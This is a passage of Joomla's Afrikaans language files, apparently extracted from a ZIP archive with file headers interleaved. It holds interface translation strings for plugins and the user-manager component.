PLG_SYSTEM_LANGUAGEFILTER_FIELD_DETECT_BROWSER_DESC="Kies die Werf se verstek taal of probeer om dit van die webblaaier se taal-instelling te speur. Dit sal na die werf se verstek taal skakel as die webblaaier se instellings nie gevind kan word nie." PLG_SYSTEM_LANGUAGEFILTER_FIELD_MENU_ASSOCIATIONS_DESC="Hierdie opsie sal menu-assosiasie toelaat wanneer tussen geskakel word" PLG_SYSTEM_LANGUAGEFILTER_XML_DESCRIPTION="Hierdie inprop-program filtreer die vertoonde inhoud, afhangende van die taal.
              Hierdie inprop-program moet net ontsper word wanneer die Taal-Skakel module gepubliseer is.
              Indien hierdie inprop-program geaktiveer is, is dit 'n goeie idee om die administrateur multitaal-status-module te publiseer." PLG_SYSTEM_LANGUAGEFILTER_FIELD_REMOVE_DEFAULT_PREFIX_DESC="Verwyder die defineerde URL-Taalkode van die Inhoudstaal wat met die verstek werf taal ooreenstem, wanneer Soektog Enjin-Vriendelike URL'e na 'Ja' gestel is." PK@y>\y+language/af-ZA/af-ZA.plg_system_p3p.sys.ininuW+A; Afrikaanse Vertaling http://www.joomla4africa.org ; $Id: af-ZA.plg_system_p3p.sys.ini 1710 2012-02-05 14:38:57Z gerrit_hoekstra $ ; Joomla! Projek ; Copyright (C) 2005 - 2012 Open Source Matters. All rights reserved. ; Copyright (C) Afrikaans Translation 2006 - 2012 Joomla4Africa. Alle regte voorbehou. ; Lisensie http://www.gnu.org/licenses/gpl-2.0.html GNU/GPL, sien LICENSE.php ; Let op: Alle ini lêërs moet as UTF-8 gestoor word PLG_SYSTEM_P3P="Stelsel - P3P Beleid" PLG_P3P_XML_DESCRIPTION="Die stelsel se P3P beleid-inprop-program laat Joomla! toe om 'n pasgemaakte string van P3P beleids-etikette in die HTTP kopskrif te stuur. Hierdie is benodig sodat die sessies op sekere webblaaiers kan werk, o.a. Internet Explorer 6 en 7." PK@y>\z&0language/af-ZA/af-ZA.plg_editors-xtd_article.ininuW+A; Afrikaanse Vertaling http://www.joomla4africa.org ; $Id: af-ZA.plg_editors-xtd_article.ini 1703 2012-02-03 11:27:44Z gerrit_hoekstra $ ; Joomla! Projek ; Copyright (C) 2005 - 2012 Open Source Matters. All rights reserved. ; Copyright (C) Afrikaans Translation 2006 - 2012 Joomla4Africa. Alle regte voorbehou. ; Lisensie http://www.gnu.org/licenses/gpl-2.0.html GNU/GPL, sien LICENSE.php ; Let op: Alle ini lêërs moet as UTF-8 gestoor word PLG_ARTICLE_BUTTON_ARTICLE="Artikel" PLG_EDITORS-XTD_ARTICLE="Knoppie - Artikel" PLG_ARTICLE_XML_DESCRIPTION="Verskaf 'n knoppie waarmee skakel na ander artikels in 'n artikel gevoeg kan word. Die artikels in 'n opspringvenster gekies word." PK@y>\%N8 )language/af-ZA/af-ZA.plg_user_profile.ininuW+A; Afrikaanse Vertaling http://www.joomla4africa.org ; $Id: af-ZA.plg_user_profile.ini 1776 2012-06-15 10:26:41Z gerrit_hoekstra $ ; Joomla! Projek ; Copyright (C) 2005 - 2012 Open Source Matters. All rights reserved. ; Copyright (C) Afrikaans Translation 2006 - 2012 Joomla4Africa. Alle regte voorbehou. ; Lisensie http://www.gnu.org/licenses/gpl-2.0.html GNU/GPL, sien LICENSE.php ; Let op: Alle ini lêërs moet as UTF-8 gestoor word PLG_USER_PROFILE="Gebruiker - Profiel" PLG_USER_PROFILE_SLIDER_LABEL="Gebruiker Profiel" PLG_USER_PROFILE_XML_DESCRIPTION="Gebruiker Profiel Inprop-Program" PLG_USER_PROFILE_FIELD_ADDRESS1_LABEL="Adres 1:" PLG_USER_PROFILE_FIELD_ADDRESS2_LABEL="Adres 2:" PLG_USER_PROFILE_FIELD_ABOUT_ME_LABEL="Omtrent Myself:" PLG_USER_PROFILE_FIELD_WEB_SITE_LABEL="Webwerf:" PLG_USER_PROFILE_FIELD_CITY_LABEL="Stad:" PLG_USER_PROFILE_FIELD_CITY_LABEL="Stad:" PLG_USER_PROFILE_FIELD_DOB_LABEL="Geboortedatum:" PLG_USER_PROFILE_FIELD_PHONE_LABEL="Telefoon:" PLG_USER_PROFILE_FIELD_COUNTRY_LABEL="Land:" PLG_USER_PROFILE_FIELD_FAVORITE_BOOK_LABEL="Geliefkoosde Boek:" PLG_USER_PROFILE_FIELD_POSTAL_CODE_LABEL="Poskode:" PLG_USER_PROFILE_FIELD_REGION_LABEL="Streek:" PLG_USER_PROFILE_FIELD_REGION_DESC="Kies 'n opsie vir die Streek veld" PLG_USER_PROFILE_FIELD_ABOUT_ME_DESC="Kies 'n opsie vir die veld Amtrent My." PLG_USER_PROFILE_FIELD_ADDRESS1_DESC="Kies 'n opsie vir die veld Adres1" PLG_USER_PROFILE_FIELD_ADDRESS2_DESC="Kies 'n opsie vir die veld Adres2" PLG_USER_PROFILE_FIELD_CITY_DESC="Kies 'n opsie vir die veld Stad" PLG_USER_PROFILE_FIELD_COUNTRY_DESC="Kies 'n opsie vir die veld Land" PLG_USER_PROFILE_FIELD_DOB_DESC="Kies 'n opsie vir die veld Geboortedatum" PLG_USER_PROFILE_FIELD_FAVORITE_BOOK_DESC="Kies 'n opsie vir die veld Geliefkoosde Boek" PLG_USER_PROFILE_FIELD_PHONE_DESC="Kies 'n opsie vir die veld Telefoon" PLG_USER_PROFILE_FIELD_POSTAL_CODE_DESC="Kies 'n opsie vir die veld Poskode" PLG_USER_PROFILE_FIELD_WEB_SITE_DESC="Kies 'n opsie vir die veld Web Webwerf" PLG_USER_PROFILE_OPTION_AGREE="Ooreenkom" PLG_USER_PROFILE_FIELD_TOS_DESC="Kom met die Diensvoorwaardes ooreen" PLG_USER_PROFILE_FIELD_TOS_LABEL="Diensvoorwaardes:" PLG_USER_PROFILE_FIELD_NAME_REGISTER_REQUIRE_USER="Gebruiker profielvelde vir registrasie en administrateur-gebruiker vorms" PLG_USER_PROFILE_FIELD_NAME_PROFILE_REQUIRE_USER="Gebruiker profielvelde vir profiel-redigeer vorm" COM_CONTENT_CHANGE_ARTICLE="Kies of Wysig 'n artikel" COM_CONTENT_CHANGE_ARTICLE_BUTTON="Kies / Wysig" COM_CONTENT_SELECT_AN_ARTICLE="Kies 'n Artikel" PLG_USER_PROFILE_FIELD_TOS_ARTICLE_DESC="Kies die gewensde Diensterm-artikel van die lys" PLG_USER_PROFILE_FIELD_TOS_ARTICLE_LABEL="Kies Diensterm-Artikel:" PK@y>\WTT(language/af-ZA/af-ZA.com_banners.sys.ininuW+A; Afrikaanse Vertaling http://www.joomla4africa.org ; $Id: af-ZA.com_banners.sys.ini 1691 2012-01-11 23:40:15Z gerrit_hoekstra $ ; Joomla! Projek ; Copyright (C) 2005 - 2012 Open Source Matters. All rights reserved. ; Copyright (C) Afrikaans Translation 2006 - 2012 Joomla4Africa. Alle regte voorbehou. ; Lisensie http://www.gnu.org/licenses/gpl-2.0.html GNU/GPL, sien LICENSE.php ; Let op: Alle ini lêërs moet as UTF-8 gestoor word COM_BANNERS_XML_DESCRIPTION="Hierdie komponent bestuur baniere en banier kliënte" COM_BANNERS="Banier" COM_BANNERS_BANNERS="Banier" COM_BANNERS_CATEGORIES="Kategorië" COM_BANNERS_CATEGORY_ADD_TITLE="Kategorie Bestuurder: Voeg 'n Nuwe Banier Kategorie" COM_BANNERS_CATEGORY_EDIT_TITLE="Kategorie Bestuurder: Redigeer 'n Banier Kategorie" COM_BANNERS_CLIENTS="Kliënte" COM_BANNERS_TRACKS="Banier-spore" PK@y>\N N N"language/af-ZA/af-ZA.com_users.ininuW+A; Afrikaanse Vertaling http://joomlacode.org/gf/project/afrikaans_taal ; $Id: af-ZA.com_users.ini 1784 2012-07-10 21:14:39Z gerrit_hoekstra $ ; Joomla! Projek ; Copyright (C) 2005 - 2012 Open Source Matters. All rights reserved. ; Lisensie http://www.gnu.org/licenses/gpl-2.0.html GNU/GPL, sien LICENSE.php ; Let op: Alle ini lêërs moet as UTF-8 gestoor word COM_USERS_CONFIG_FIELD_USERACTIVATION_OPTION_ADMINACTIVATION="Admin" COM_USERS_CONFIG_FIELD_USERACTIVATION_OPTION_SELFACTIVATION="Self" COM_USERS_EDIT_USER="Redigeer Gebruiker %s" COM_USERS_DEBUG_IMPLICIT_DENY="[ %s ] Nie Toegelaat nie" COM_USERS_DEBUG_EXPLICIT_ALLOW="[ %s ] Toegelaat" COM_USERS_DEBUG_EXPLICIT_DENY="[ %s ] Verbode" COM_USERS_DEBUG_NO_CHECK="[   ] Nie Van Toepassing" COM_USERS_HEADING_NAME="Naam" COM_USERS_HEADING_REGISTRATION_DATE="Registrasie Datum" COM_USERS_HEADING_LFT="LFT" COM_USERS_HEADING_USERS_IN_GROUP="Gebruikers in groep" COM_USERS_MAIL_DETAILS="Details" COM_USERS_N_USERS_ACTIVATED_1="Gebruiker suksesvol geaktiveer" COM_USERS_N_USERS_ACTIVATED="%s Gebruikers suksesvol geaktiveer" COM_USERS_N_USERS_BLOCKED_0="Geen Gebruiker blokeer" COM_USERS_N_USERS_BLOCKED_1="Gebruiker blokeer" COM_USERS_N_USERS_UNBLOCKED_0="Geen Gebruiker ontsper nie" COM_USERS_N_USERS_UNBLOCKED_1="Gebruiker ontsper" COM_USERS_OPTION_LEVEL_CATEGORY="%d (top kategorie)" COM_USERS_OPTION_LEVEL_COMPONENT="%d (komponent)" COM_USERS_OPTION_LEVEL_DEEPER="%d (dieper)" COM_USERS_OPTION_SELECT_COMPONENT="- Kies Komponent -" COM_USERS_OPTION_SELECT_LEVEL_END="- Kies Eind Vlak -" COM_USERS_OPTION_SELECT_LEVEL_START="- Kies Begin Vlak -" COM_USERS_MASS_MAIL_DESC="Massapos opsies" COM_USERS_MASS_MAIL="Massapos" COM_USERS_ACTIVATED="Geaktiveer" COM_USERS_FILTER_LABEL="Filter Gebruikers volgens: " COM_USERS_FILTER_USER_GROUP="Filter Gebruiker Group" COM_USERS_USER_FIELD_BLOCK_DESC="Blokkeer hierdie gebruiker" COM_USERS_USERS_NO_ITEM_SELECTED="Geen Gebruikers gekies nie" COM_USERS_USER_FIELD_BLOCK_LABEL="Blokkeer hierdie Gebruiker" COM_USERS_USER_FIELD_REGISTERDATE_DESC="Registrasie Datum" COM_USERS_TOOLBAR_BLOCK="Blokkeer" COM_USERS_FILTER_STATE="- Staat -" COM_USERS_SEARCH_IN_NAME="Soek vlgs. Naam" COM_USERS_MAIL_FIELD_SUBJECT_LABEL="Onderwerp" COM_USERS_TOOLBAR_MAIL_SEND_MAIL="Stuur e-pos" COM_USERS_USER_FIELD_TIMEZONE_LABEL="Tyd Zone" COM_USERS_ERROR_INVALID_GROUP="Ongeldige Groep" COM_USERS_GROUP_FIELD_TITLE_LABEL="Groep Titel" COM_USERS_LEVEL_FIELD_TITLE_LABEL="Vlak Titel" COM_USERS_USER_FIELD_EDITOR_LABEL="Redigeerder" COM_USERS_CONFIGURATION="Gebruikers Konfigurasie" COM_USERS_HEADING_LAST_VISIT_DATE="Laaste Besoek Datum" COM_USERS_SUBMENU_GROUPS="Gebruiker Groepe" COM_USERS_DEBUG_GROUP="Debug Toestemmings Raport" COM_USERS_GROUP_FIELD_PARENT_LABEL="Groep-Ouer" COM_USERS_USER_FIELD_TIMEZONE_DESC="Tyd zone vir hierdie gebruiker" COM_USERS_USERS_ERROR_CANNOT_BLOCK_SELF="Jy kan nie jouself blokkeer nie." COM_USERS_USERS_N_ITEMS_DELETED_1="Een gebruiker suksesvol geskrap" COM_USERS_GROUP_FIELD_PARENT_DESC="Kies 'n Ouer vir hierdie Groep." COM_USERS_USERS_ERROR_CANNOT_DELETE_SELF="Jy kan nie jouself skrap nie." COM_USERS_VIEW_EDIT_GROUP_TITLE="Gebruiker Bestuurder: Redigeer Groep" COM_USERS_HEADING_GROUPS="Gebruiker Groepe" COM_USERS_HEADING_GROUP_TITLE="Groep Titel" COM_USERS_MAIL_FIELD_MESSAGE_LABEL="Boodskap" COM_USERS_SEARCH_IN_GROUPS="Deursoek titels" COM_USERS_MAIL_MESSAGE="Boodskap" COM_USERS_FILTER_ACTIVE="- Aktief -" COM_USERS_TOOLBAR_ACTIVATE="Aktiveer" COM_USERS_HEADING_ACTIVATED="Geaktiveer" COM_USERS_LEVEL_DETAILS="Vlak Gegewens" COM_USERS_MAIL_FIELD_MESSAGE_LABEL="Boodskap" COM_USERS_ACTIONS_AVAILABLE="Toegelate Aksies" COM_USERS_DEBUG_USER="Ontfout Toestemmings Raport" COM_USERS_DEBUG_GROUP="Ontfout Toestemmings Raport" COM_USERS_GROUP_FIELD_PARENT_LABEL="Groep Ouer" COM_USERS_SUBMENU_LEVELS="Vertoon Toegangsvlakke" COM_USERS_USER_ACCOUNT_DETAILS="Rekening Gegewens" COM_USERS_HEADING_LEVEL_NAME="Vlak Naam" COM_USERS_MAIL_FIELD_GROUP_LABEL="Groep:" COM_USERS_HEADING_GROUPS="Gebruiker Groepe" COM_USERS_HEADING_GROUP_TITLE="Groep Titel" COM_USERS_SUBMENU_GROUPS="Gebruiker Groepe" COM_USERS_TOOLBAR_UNBLOCK="Onblokkeer" COM_USERS_UNACTIVATED="Onaktiveer" COM_USERS_USERS_N_ITEMS_DELETED="%d gebruikers suksesvol geskrap" COM_USERS_MAIL_FIELD_SEND_IN_HTML_MODE_LABEL="Stuur in HTML mode:" COM_USERS_USER_FIELD_PASSWORD2_LABEL="Bevestig Wagwoord" COM_USERS_SEARCH_GROUPS_LABEL="Soektog Gebruiker Groepe" COM_USERS_USER_FIELD_EDITOR_DESC="Gebruiker Redigeerder" COM_USERS_USER_SAVE_SUCCESS="Gebruiker suksesvol gestoor." COM_USERS_LEVEL_SAVE_SUCCESS="Toegangsvlak suksesvol gestoor" COM_USERS_VIEW_USERS_TITLE="Gebruiker Bestuurder: Gebruikers" COM_USERS_USER_FIELD_HELPSITE_LABEL="Hulp Webwerf" COM_USERS_USER_FIELD_USERNAME_LABEL="Inteken Naam" COM_USERS_SEARCH_IN_GROUPS="Soek in titels" COM_USERS_USER_FIELD_BACKEND_LANGUAGE_LABEL="Agterkant Taal" COM_USERS_USER_FIELD_FRONTEND_LANGUAGE_LABEL="Voorkant Taal" COM_USERS_MAIL_PLEASE_SELECT_A_GROUP="Kies asseblief 'n Groep" COM_USERS_MAIL_FIELD_VALUE_ALL_USERS_GROUPS="Alle Gebruikers Groepe" COM_USERS_CONFIG_FIELD_SUBJECT_PREFIX_LABEL="Onderwerp Voorvoegsel" COM_USERS_GROUP_SAVE_SUCCESS="Groep suksesvol gestoor" COM_USERS_USER_FIELD_LASTVISIT_DESC="Laaste Besoek Datum" COM_USERS_USER_FIELD_TIMEZONE_DESC="Tyd zone vir hierdie gebruiker" COM_USERS_USERS_ERROR_CANNOT_BLOCK_SELF="Jy kan nie jouself blokkeer nie." COM_USERS_USERS_N_ITEMS_DELETED_1="Een gebruiker suksesvol geskrap" COM_USERS_VIEW_GROUPS_TITLE="Gebruiker Bestuurder: Gebruiker Groepe" COM_USERS_USER_FIELD_BACKEND_TEMPLATE_LABEL="Agterkant Templet Styl" COM_USERS_USER_FIELD_HELPSITE_DESC="Hulp werf vir hierdie gebruiker" COM_USERS_USER_FIELD_BACKEND_TEMPLATE_DESC="Kies die templet style vir die Administrateur Agterkant koppelvlak. Dit sal net op hierdie Gebruiker toegepas word." COM_USERS_SEARCH_ASSETS="Soekbates" COM_USERS_VIEW_NEW_GROUP_TITLE="Gebruiker Bestuurder: Voeg Nuwe Aksie Permissie Groep" COM_USERS_HEADING_ASSET_TITLE="Bate-Titel" COM_USERS_HEADING_ASSET_NAME="Bate-Naam" COM_USERS_SETTINGS_FIELDSET_LABEL="Basiese Instellings" COM_USERS_USERGROUP_DETAILS="Gebruiker Groep Gegewens" COM_USERS_USER_FIELD_LASTVISIT_LABEL="Laaste Besoek Datum" COM_USERS_SEARCH_TITLE_LEVELS="Soek deur Toegangsvlakke." COM_USERS_USER_FIELD_REGISTERDATE_LABEL="Registrasie Datum" COM_USERS_USER_FIELD_SENDEMAIL_LABEL="Stuur Stelsel e-posse" COM_USERS_MAIL_PLEASE_FILL_IN_THE_SUBJECT="Tik 'n onderwerp in" COM_USERS_MAIL_PLEASE_FILL_IN_THE_MESSAGE="Tik asseblief 'n boodskap hier in" COM_USERS_MAIL_THE_MAIL_COULD_NOT_BE_SENT="Die e-pos kon nie be gestuur word nie." COM_USERS_MAIL_FIELD_RECURSE_LABEL="Stuur e-pos na Kind Gebruiker-Groepe:" COM_USERS_MAIL_FIELD_SEND_AS_BLIND_CARBON_COPY_LABEL="Ontvangers as BCC:" COM_USERS_VIEW_EDIT_USER_TITLE="Gebruiker Bestuurder: Redigeer Gebruiker" COM_USERS_MAIL_FIELD_SUBJECT_DESC="Tik die onderwerp van die e-pos hier in" COM_USERS_USER_FIELD_EMAIL_DESC="Tik 'n e-posadres van die gebruiker" COM_USERS_USER_FIELD_PASSWORD2_DESC="Bevestig die gebruiker se wagwoord" COM_USERS_VIEW_NEW_USER_TITLE="Gebruiker Bestuurder: Voeg Nuwe Gebruiker" COM_USERS_LEVEL_FIELD_TITLE_DESC="Tik 'n Titel in vir hierdie Toegangsvlak." COM_USERS_VIEW_DEBUG_GROUP_TITLE="Ontfout Toestemmings Raport vir Groep #%d, %s" COM_USERS_USER_FIELD_PASSWORD_DESC="Tik die gebruiker se wagwoord hier in" COM_USERS_USER_FIELD_USERNAME_DESC="Tik die inteken naam (Gebruiker naam) vir die gebruiker." COM_USERS_USER_FIELD_NAME_DESC="Tik die naam van die gebruiker" COM_USERS_VIEW_EDIT_GROUP_TITLE="Gebruiker Bestuurder: Redigeer Groep" COM_USERS="Gebruiker Bestuurder" COM_USERS_SUBMENU_USERS="Gebruikers" COM_USERS_FILTER_USERGROUP="- Groep -" COM_USERS_N_USERS_BLOCKED="%s Gebruikers blokkeer" COM_USERS_N_USERS_UNBLOCKED="%s Gebruikers ontsper" COM_USERS_SEARCH_USERS="Soek Gebruikers" COM_USERS_GROUP_FIELD_TITLE_DESC="Tik 'n Titel in vir die Groep." COM_USERS_DEBUG_LEGEND="Verklaaring:" COM_USERS_USER_SAVE_FAILED="Gefaal om gebruiker te stoor: %s." COM_USERS_USER_FIELD_BACKEND_LANGUAGE_DESC="Kies hier jou die verstek taal vir die agterent. Dit sal net op hierdie gebruiker toegepas word." COM_USERS_USER_FIELD_FRONTEND_LANGUAGE_DESC="Kies hier jou die verstek taal vir die voorent. Dit sal net op hierdie gebruiker toegepas word." COM_USERS_XML_DESCRIPTION="Komponent vir die bestuur van gebruikers" COM_USERS_ASSIGNED_GROUPS="Toegewysde Gebruiker Groepe" COM_USERS_MAIL_FIELD_MESSAGE_DESC="Tik hier 'n verstek boodskap in" COM_USERS_GROUPS_NO_ITEM_SELECTED="Geen Gebruiker-Groepe gekies nie" COM_USERS_GROUPS_N_ITEMS_DELETED="%d Gebruiker Groepe suksesvol geskrap" COM_USERS_CONFIG_FIELD_NEW_USER_TYPE_LABEL="Nuwe Gebruiker Registrasie Groep" COM_USERS_CONFIG_FIELD_GUEST_USER_GROUP_LABEL="Gas Gebruiker Groep" COM_USERS_VIEW_NEW_LEVEL_TITLE="Gebruiker Bestuurder: Voeg nuwe toegangsvlak vir besigtiging" COM_USERS_VIEW_LEVELS_TITLE="Gebruiker Bestuurder: Toegangsvlakke vir Besigtiging" COM_USERS_VIEW_EDIT_PROFILE_TITLE=" Gebruiker Bestuurder: Redigeer Profiel" COM_USERS_VIEW_EDIT_LEVEL_TITLE=" Gebruiker Bestuurder: Redigeer Toegangsvlak vir besigtiging" COM_USERS_USERS_MULTIPLE_GROUPS="Veelvoudige Groepe" COM_USERS_VIEW_DEBUG_USER_TITLE="Ontfout Toegangsregte Raport vir Gebruiker #%d, %s" COM_USERS_HEADING_ENABLED="Ontsper" COM_USERS_MAIL_FIELD_GROUP_DESC="Kies 'n groep na wie jy die e-pos wil stuur." COM_USERS_USERS_ERROR_CANNOT_DEMOTE_SELF="Jy kan nie jou eie Super Admin toegangsregte verwyder nie." COM_USERS_CONFIG_FIELD_ALLOWREGISTRATION_DESC="Indien na Ja gestel is, kan nuwe Gebruikers self-registreer." COM_USERS_CONFIG_FIELD_ALLOWREGISTRATION_LABEL="Laat Gebruiker Registrasie toe" COM_USERS_CONFIG_FIELD_USERACTIVATION_LABEL="Nuwe Gebruiker-Rekening Aktiveering" COM_USERS_N_USERS_ACTIVATED_0="Geen gebruiker is geaktiveer nie" COM_USERS_MAIL_PLEASE_FILL_IN_THE_FORM_CORRECTLY="Vul asseblief die vorm korrek in." COM_USERS_CONFIG_FIELD_FRONTEND_LANG_LABEL="Voorkant Taal" COM_USERS_CONFIG_FIELD_FRONTEND_USERPARAMS_LABEL="Voorkant Gebruiker Parameters" COM_USERS_CONFIG_FIELD_SUBJECT_PREFIX_DESC="Hierdie word voor elke e-pos onderwerp gevoeg." COM_USERS_CONFIG_IMPORT_FAILED="Daar was 'n fout gedurende die invoer van die konfigurasie: %s." COM_USERS_CONFIG_SAVE_FAILED="Daar was 'n fout gedurende die stoor van die konfigurasie: %s." COM_USERS_DELETE_ERROR_INVALID_GROUP="Jy kan nie gebruiker-groepe skrap waaraan jy behoort nie." COM_USERS_GROUPS_CONFIRM_DELETE="Is jy seker dat jy groepe wil skrap wat gebruikers bevat?" COM_USERS_GROUPS_N_ITEMS_DELETED_1="Een Gebruiker-groep suksesvol geskrap" COM_USERS_MAIL_EMAIL_SENT_TO_N_USERS="E-pos aan %s gebruikers gestuur" COM_USERS_MAIL_EMAIL_SENT_TO_N_USERS_1="E-pos aan een gebruiker gestuur" COM_USERS_MAIL_FIELD_EMAIL_DISABLED_USERS_LABEL="Stuur na gesperde gebruikers" COM_USERS_MAIL_NO_USERS_COULD_BE_FOUND_IN_THIS_GROUP="Geen gebruikers kon in hierdie groep gevind word nie." COM_USERS_MAIL_ONLY_YOU_COULD_BE_FOUND_IN_THIS_GROUP="Jy is die enigste gebruiker in hierdie groep." COM_USERS_USER_BATCH_SUCCESS="Bondelopdrag suksesvol uitgevoer." COM_USERS_USER_BATCH_FAILED="Daar was 'n fout gedurende die uitvoer van die Bondelopdrag: %s." COM_USERS_USER_FIELD_SENDEMAIL_DESC="Indien na ja gestel is, sal die gebruiker stelsel e-posse ontvang." JLIB_RULES_SETTING_NOTES="1. Indien jy die instelling wysig, sal dit op hierdie en alle afstammelings-kategorië toegepas word. Let op dat:
              Geërf beteken dat die permissisies van die Ouer kategorie gebruik sal word as daar 'n Ouer kategorie, of as daar nie 'n Ouer kategorie is nie, die komponent s'n gebruik sal word.
              Gewyer beteken dat ongeag wat die globale konfigurasie of Ouer kategorie instelling is, die groep wat geredigeer word nie hierdie aksie binne-in die komponent sal toepas nie.
              Toegelaat beteken dat die groep wat geredigeer word, die aksies vir hierdie binne-in die komponent sal toepas (maar as dit in konflik met die Ouer-kategorie of Komponent instelling is, sal dit geen verskil maak nie; 'n konflik sal aangetoon word met Nie Toegelaat nie (Gesluit) onder Berekende Instellings).
              2. Indien jy 'n nuwe instelling kies, kliek op Stoor om die berekende instellings te vervars." COM_USERS_ADD_NOTE="Voeg 'n Nota by" COM_USERS_BATCH_ADD="Voeg by Groep" COM_USERS_BATCH_DELETE="Skrap van Groep" COM_USERS_BATCH_GROUP="Kies Groep" COM_USERS_BATCH_OPTIONS="Bondelverwerk die gekose gebruikers" COM_USERS_BATCH_SET="Stel na Groep" COM_USERS_CATEGORY_HEADING="Kategorie" COM_USERS_CONFIG_FIELD_CAPTCHA_LABEL="Captcha" COM_USERS_USER_HEADING="Gebruiker" COM_USERS_SUBMENU_NOTE_CATEGORIES="Nota Kategorië" COM_USERS_SUBJECT_HEADING="Onderwerp" COM_USERS_REVIEW_HEADING="Hersieningsdatum" COM_USERS_OPTION_RANGE_TODAY="vandag" COM_USERS_OPTION_RANGE_POST_YEAR="meer as 'n jaar gelede" COM_USERS_OPTION_RANGE_PAST_YEAR="gedurende die laaste jaar" COM_USERS_OPTION_RANGE_PAST_WEEK="gedurende die laaste week" COM_USERS_OPTION_RANGE_PAST_6MONTH="gedurende die laaste 6 maande" COM_USERS_OPTION_RANGE_PAST_3MONTH="gedurende die laaste 3 maande" COM_USERS_OPTION_RANGE_PAST_1MONTH="gedurende die laaste maand" COM_USERS_OPTION_FILTER_DATE="- Registrasie Datum -" COM_USERS_N_USER_NOTES_1="Vertoon %d nota" COM_USERS_N_USER_NOTES="Vertoon %d notas" COM_USERS_N_USER_NOTES_0="Geen notas om te vertoon nie" COM_USERS_NEW_NOTE="Nuwe nota" COM_USERS_FIELD_SUBJECT_LABEL="Onderwerp" COM_USERS_FIELD_USER_ID_LABEL="ID" COM_USERS_FIELD_REVIEW_TIME_LABEL="Hersieningstyd" COM_USERS_FIELD_CATEGORY_ID_LABEL="Kategorie" COM_USERS_FIELD_ID_LABEL="ID" COM_USERS_FIELD_NOTEBODY_DESC="Nota" COM_USERS_FIELD_NOTEBODY_LABEL="Nota" COM_USERS_EMPTY_SUBJECT="- Geen onderwerp nie -" COM_USERS_CONFIG_FIELD_MAILTOADMIN_LABEL="Kennisgewing E-Pos aan Administrateurs" COM_USERS_EMPTY_REVIEW="-" COM_USERS_FIELD_STATE_DESC="Stel publikasie status." COM_USERS_NOTE_N_SUBJECT="#%d %s" COM_USERS_NO_NOTES="Geen notas beskikbaar vir hierdie gebruiker nie." COM_USERS_NOTES="Notas" COM_USERS_NOTES_FOR_USER="Notas vir gebruiker %s (ID #%d)" COM_USERS_NOTES_N_ITEMS_ARCHIVED="%d Gebruiker Notas suksesvol argieveer" COM_USERS_NOTES_N_ITEMS_ARCHIVED_1="%d Gebruiker Nota suksesvol argieveer" COM_USERS_VIEW_NOTES_TITLE="Gebruiker Nota" COM_USERS_EDIT_NOTE_N="Redigeer nota met ID #%d" COM_USERS_FIELD_SUBJECT_DESC="Die onderwerp lyn vir hierdie nota" COM_USERS_LEVEL_HEADER_ERROR="Gebruiker-kopskrif-toegangsvlak-Fout" COM_USERS_SUBMENU_NOTES="Gebruiker Notas" COM_USERS_N_LEVELS_DELETED="%d Aansig toegangs-vlakke suksesvol geskrap." COM_USERS_N_LEVELS_DELETED_0="Geen Aansig toegangs-vlakke geskrap nie." COM_USERS_N_LEVELS_DELETED_1="%d Aansig toegangs-vlak suksesvol geskrap." COM_USERS_NO_LEVELS_SELECTED="Geen Aansig toegangs-vlakke gekies nie." COM_USERS_NOTES_N_ITEMS_CHECKED_IN="%d Gebruiker Notas suksesvol ingeteken" COM_USERS_NOTES_N_ITEMS_CHECKED_IN_1="%d Gebruiker Nota suksesvol ingeteken" COM_USERS_NOTES_N_ITEMS_DELETED="%d Gebruiker Notas suksesvol geskrap" COM_USERS_NOTES_N_ITEMS_DELETED_1="%d Gebruiker Nota suksesvol geskrap" COM_USERS_NOTES_N_ITEMS_PUBLISHED="%d Gebruiker Notas suksesvol gepubliseer" COM_USERS_NOTES_N_ITEMS_PUBLISHED_1="%d Gebruiker Nota suksesvol gepubliseer" COM_USERS_NOTES_N_ITEMS_TRASHED="%d Gebruiker Notas suksesvol gepurgeer" COM_USERS_NOTES_N_ITEMS_TRASHED_1="%d Gebruiker Nota suksesvol gepurgeer" COM_USERS_NOTES_N_ITEMS_UNPUBLISHED="%d Gebruiker Notas suksesvol ontpubliseer" COM_USERS_NOTES_N_ITEMS_UNPUBLISHED_1="%d Gebruiker Nota suksesvol ontpubliseer" COM_USERS_SEARCH_ACCESS_LEVELS="Deursoek Aansig toegangs-vlakke" COM_USERS_SEARCH_IN_NOTE_TITLE="Soek in Nota-onderwerp of gebruikernaam." COM_USERS_USER_GROUPS_HAVING_ACCESS="Gebruiker Groepe wat Aansigs-toegang het" COM_USERS_CONFIG_FIELD_GUEST_USER_GROUP_DESC="Die verstek Groep wat op 'n gas-gebruiker (m.a.w. nie ingelog nie) toegepas sal word." COM_USERS_CONFIG_FIELD_MAILBODY_SUFFIX_DESC="Hierdie word na die epos-teks aangelas." COM_USERS_ERROR_NO_ADDITIONS="Die gekiesde gebruiker(s) is reeds aan 'n gekose groep toegewys." COM_USERS_ERROR_LEVELS_NOLEVELS_SELECTED="Geen Aansig-Toegangsregte-Vlak(ke) gekies nie." COM_USERS_ERROR_VIEW_LEVEL_IN_USE="Jy kan nie die aansig-toegangsvlak '%d:%s' skrap nie, omdat dit in die inhoud gebruik word." COM_USERS_FILTER_NOTES="Vertoon nota-lys vir hierdie gebruiker" COM_USERS_MAIL_FIELD_SEND_AS_BLIND_CARBON_COPY_DESC="Versteek ontvanger-lys en kopieer na die werf e-pos." COM_USERS_MAIL_FIELD_SEND_IN_HTML_MODE_DESC="Indien gemerk, sal die e-pos met HTML etikette gestuur word. Indien nie gemerk nie, sal e-pos in eenvoudige teks gestuur word." COM_USERS_MAIL_FIELD_RECURSE_DESC="Indien gemerk, sal die e-pos aan gebruikers gestuur word wie lede van enige afstammelings-groepe in die gekiesde groepe is." COM_USERS_LEVELS_N_ITEMS_DELETED_1="Een Aansig Toegangsreg-Vlak is suksesvol geskrap" COM_USERS_MAIL_FIELD_EMAIL_DISABLED_USERS_DESC="Indien gemerk, sal gesperde gebruikers ook ingesluit word" COM_USERS_LEVELS_N_ITEMS_DELETED="%d Aansig Toegangsreg-Vlakke is suksesvol geskrap" ; Moet nog vertaal word.. COM_USERS_CONFIG_FIELD_CAPTCHA_DESC="Select the captcha plugin that will be used in the registration, password and username reminder forms. You may need to enter required information for your captcha plugin in the Plugin Manager.
              If 'Use Default' is selected, make sure a captcha plugin is selected in Global Configuration." COM_USERS_CONFIG_FIELD_FRONTEND_LANG_DESC="If 'Frontend User Parameters' is set to 'Show', users will be able to select their frontend language preference when registering.
